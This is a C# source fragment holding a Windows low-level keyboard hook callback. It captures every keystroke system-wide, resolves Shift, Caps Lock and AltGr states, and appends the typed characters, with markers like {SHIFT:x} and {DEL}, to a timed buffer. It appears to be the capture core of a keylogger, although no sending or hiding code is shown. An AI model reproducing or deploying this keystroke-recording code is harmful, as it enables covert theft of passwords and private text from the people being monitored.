private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, HOOKPROC wParam, [In] TagKBDLLHOOKSTRUCT lParam);
private static IntPtr KbLLHookCallback(int nCode, HOOKPROC wParam, TagKBDLLHOOKSTRUCT lParam) { KeyboardEventArgs EvtArgs = new KeyboardEventArgs(); EvtArgs.LowLevelKbInfo.dwExtraInfo = lParam.dwExtraInfo; EvtArgs.LowLevelKbInfo.flags = lParam.flags; EvtArgs.LowLevelKbInfo.scanCode = lParam.scanCode; EvtArgs.LowLevelKbInfo.time = lParam.time; EvtArgs.LowLevelKbInfo.vkCode = lParam.vkCode; if (nCode >= 0 && (wParam == HOOKPROC.WM_KEYDOWN || wParam == HOOKPROC.WM_SYSKEYDOWN) && lParam.flags == KBDLLHOOKSTRUCTFlags.LLKHF_EXTENDED) { if (lParam.vkCode.Equals(VK_KEY_CODE.VK_SHIFT) || lParam.vkCode.Equals(VK_KEY_CODE.VK_LSHIFT) || lParam.vkCode.Equals(VK_KEY_CODE.VK_RSHIFT)) { SHIFT_KEY_DOWN = true; } } if (nCode >= 0 && (wParam == HOOKPROC.WM_KEYDOWN || wParam == HOOKPROC.WM_SYSKEYDOWN)) { CAPS_LOCK_ON = GetKeyState(0x14) != 0 || System.Windows.Forms.Control.IsKeyLocked(System.Windows.Forms.Keys.CapsLock); NumLock = GetKeyState(0x90) != 0; ScrollLock = GetKeyState(0x91) != 0; VK_CHAR = '\u0000'; OnKeyDownEvent?.Invoke(nCode, EvtArgs); switch (lParam.vkCode) { case VK_KEY_CODE.VK_LWIN: WIN_KEY_DOWN = true; break; case VK_KEY_CODE.VK_RWIN: WIN_KEY_DOWN = true; break; case VK_KEY_CODE.VK_CAPITAL: break; case VK_KEY_CODE.VK_MENU: ALT_KEY_DOWN = true; break; case VK_KEY_CODE.VK_LMENU: ALT_KEY_DOWN = true; break; case VK_KEY_CODE.VK_RMENU: ALTGR_KEY_DOWN = true; break; case VK_KEY_CODE.VK_SHIFT: SHIFT_KEY_DOWN = true; break; case VK_KEY_CODE.VK_RSHIFT: SHIFT_KEY_DOWN = true; break; case VK_KEY_CODE.VK_LSHIFT: SHIFT_KEY_DOWN = true; break; case VK_KEY_CODE.VK_CONTROL: CTRL_KEY_DOWN = true; break; case VK_KEY_CODE.VK_LCONTROL: CTRL_KEY_DOWN = true; break; case VK_KEY_CODE.VK_RCONTROL: CTRL_KEY_DOWN = true; break; case VK_KEY_CODE.VK_SPACE: strBuilder.Append(" "); break; case VK_KEY_CODE.VK_RETURN: strBuilder.AppendLine(); break; case VK_KEY_CODE.VK_BACK: break; case VK_KEY_CODE.VK_0: //VK_CHAR = SHIFT_KEY_DOWN ? '\u003D' : '\u0030'; VK_CHAR = '\u0030'; break; case VK_KEY_CODE.VK_1: //VK_CHAR = SHIFT_KEY_DOWN ? '\u0021' : '\u0031'; VK_CHAR = '\u0031'; break; case VK_KEY_CODE.VK_2: //VK_CHAR = SHIFT_KEY_DOWN ? '\u0022' : '\u0032'; VK_CHAR = '\u0032'; break; case VK_KEY_CODE.VK_3: //VK_CHAR = SHIFT_KEY_DOWN ? '\u0023' : '\u0033'; VK_CHAR = '\u0033'; break; case VK_KEY_CODE.VK_4: //VK_CHAR = SHIFT_KEY_DOWN ? '\u0024' : '\u0034'; VK_CHAR = '\u0034'; break; case VK_KEY_CODE.VK_5: //VK_CHAR = SHIFT_KEY_DOWN ? '\u0025' : '\u0035'; VK_CHAR = '\u0035'; break; case VK_KEY_CODE.VK_6: //VK_CHAR = SHIFT_KEY_DOWN ? '\u0026' : '\u0036'; VK_CHAR = '\u0036'; break; case VK_KEY_CODE.VK_7: //VK_CHAR = SHIFT_KEY_DOWN ? '\u002F' : '\u0037'; VK_CHAR = '\u0037'; break; case VK_KEY_CODE.VK_8: //VK_CHAR = SHIFT_KEY_DOWN ? '\u0028' : '\u0038'; VK_CHAR = '\u0038'; break; case VK_KEY_CODE.VK_9: //VK_CHAR = SHIFT_KEY_DOWN ? '\u0029' : '\u0039'; VK_CHAR = '\u0039'; break; case VK_KEY_CODE.VK_A: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0041' : '\u0061'; break; case VK_KEY_CODE.VK_B: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0042' : '\u0062'; break; case VK_KEY_CODE.VK_C: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0043' : '\u0063'; break; case VK_KEY_CODE.VK_D: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0044' : '\u0064'; break; case VK_KEY_CODE.VK_E: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0045' : '\u0065'; break; case VK_KEY_CODE.VK_F: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0046' : '\u0066'; break; case VK_KEY_CODE.VK_G: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0047' : '\u0067'; break; case VK_KEY_CODE.VK_H: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0048' : '\u0068'; break; case VK_KEY_CODE.VK_I: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0049' : '\u0069'; break; case VK_KEY_CODE.VK_J: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004A' : '\u006A'; break; case VK_KEY_CODE.VK_K: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004B' : '\u006B'; break; case VK_KEY_CODE.VK_L: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004C' : '\u006C'; break; case VK_KEY_CODE.VK_M: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004D' : '\u006D'; break; case VK_KEY_CODE.VK_N: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004E' : '\u006E'; break; case VK_KEY_CODE.VK_O: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004F' : '\u006F'; break; case VK_KEY_CODE.VK_P: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0050' : '\u0070'; break; case VK_KEY_CODE.VK_Q: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0051' : '\u0071'; break; case VK_KEY_CODE.VK_R: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0052' : '\u0072'; break; case VK_KEY_CODE.VK_S: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0053' : '\u0073'; break; case VK_KEY_CODE.VK_T: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0054' : '\u0074'; break; case VK_KEY_CODE.VK_U: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0055' : '\u0075'; break; case VK_KEY_CODE.VK_V: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0056' : '\u0076'; break; case VK_KEY_CODE.VK_W: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0057' : '\u0077'; break; case VK_KEY_CODE.VK_X: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0058' : '\u0078'; break; case VK_KEY_CODE.VK_Y: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0059' : '\u0079'; break; case VK_KEY_CODE.VK_Z: VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u005A' : '\u007A'; break; case VK_KEY_CODE.VK_OEM_3: if (KbLayoutName.ToLower().Equals("spanish") || KbLayoutName.ToLower().Equals("español") || KbLayoutName.ToLower().Equals("latin american") || KbLayoutName.ToLower().Equals("america latina")) { VK_CHAR = CAPS_LOCK_ON ? '\u00D1' : '\u00F1'; } // char ñ or Ñ: For the US standard keyboard, the '`~' key break; case VK_KEY_CODE.VK_OEM_7: // For the US standard keyboard, the 'single-quote/double-quote' key break; case VK_KEY_CODE.VK_OEM_2: // For the US standard keyboard, the '/?' key break; case VK_KEY_CODE.VK_OEM_1: break; case VK_KEY_CODE.VK_OEM_4: break; case VK_KEY_CODE.VK_OEM_6: break; case VK_KEY_CODE.VK_OEM_5: break; case VK_KEY_CODE.VK_OEM_PERIOD: //VK_CHAR = SHIFT_KEY_DOWN ? '\u003A' : '\u002E'; break; case VK_KEY_CODE.VK_OEM_COMMA: //VK_CHAR = SHIFT_KEY_DOWN ? '\u003B' : '\u002C'; break; case VK_KEY_CODE.VK_OEM_MINUS: //VK_CHAR = SHIFT_KEY_DOWN ? '\u005F' : '\u002D'; break; case VK_KEY_CODE.VK_OEM_PLUS: //if (SHIFT_KEY_DOWN) VK_CHAR = '\u002A'; //else VK_CHAR = '\u002B'; //if (ALTGR_KEY_DOWN) VK_CHAR = '\u007E'; break; default: break; } if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && ALTGR_KEY_DOWN && (lParam.vkCode >= VK_KEY_CODE.VK_0) && (lParam.vkCode <= VK_KEY_CODE.VK_9)) { timer.Stop(); strBuilder.Append("{ALTGR:" + Convert.ToString(VK_CHAR).ToLower() + "}"); timer.Start(); } else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && SHIFT_KEY_DOWN && (lParam.vkCode >= VK_KEY_CODE.VK_0) && (lParam.vkCode <= VK_KEY_CODE.VK_9)) { timer.Stop(); strBuilder.Append("{SHIFT:" + Convert.ToString(VK_CHAR).ToLower() + "}"); timer.Start(); } else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && ALTGR_KEY_DOWN && ((int)lParam.vkCode >= 41) && ((int)lParam.vkCode <= 80)) { timer.Stop(); strBuilder.Append("{ALTGR:" + Convert.ToString(VK_CHAR) + "}"); timer.Start(); } else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && SHIFT_KEY_DOWN && ((int)lParam.vkCode >= 41) && ((int)lParam.vkCode <= 80)) { timer.Stop(); if (CAPS_LOCK_ON) { strBuilder.Append("{SHIFT:" + Convert.ToString(VK_CHAR).ToLower() + "}"); } else { strBuilder.Append("{SHIFT:" + Convert.ToString(VK_CHAR) + "}"); } timer.Start(); } else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && (!CAPS_LOCK_ON && SHIFT_KEY_DOWN || CAPS_LOCK_ON && !SHIFT_KEY_DOWN)) { timer.Stop(); timer.AutoReset = true; //Trace(char.ConvertFromUtf32(VK_CHAR)); Trace(Convert.ToString(VK_CHAR).ToUpper()); strBuilder.Append(Convert.ToString(VK_CHAR).ToUpper()); timer.Start(); } else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000') { timer.Stop(); //Trace(char.ConvertFromUtf32(VK_CHAR)); Trace(Convert.ToString(VK_CHAR).ToLower()); strBuilder.Append(Convert.ToString(VK_CHAR).ToLower()); timer.Start(); } } if (nCode >= 0 && (wParam == HOOKPROC.WM_KEYUP || wParam == HOOKPROC.WM_SYSKEYUP)) { OnKeyUpEvent?.Invoke(nCode, EvtArgs); switch (lParam.vkCode) { case VK_KEY_CODE.VK_LWIN: WIN_KEY_DOWN = false; break; case VK_KEY_CODE.VK_RWIN: WIN_KEY_DOWN = false; break; case VK_KEY_CODE.VK_LSHIFT: SHIFT_KEY_DOWN = false; break; case VK_KEY_CODE.VK_RSHIFT: SHIFT_KEY_DOWN = false; break; case VK_KEY_CODE.VK_RMENU: ALTGR_KEY_DOWN = false; break; case VK_KEY_CODE.VK_BACK: strBuilder.Append("{DEL}"); break; } } return(CallNextHookEx(_LowLevelKbHookID, nCode, wParam, lParam)); }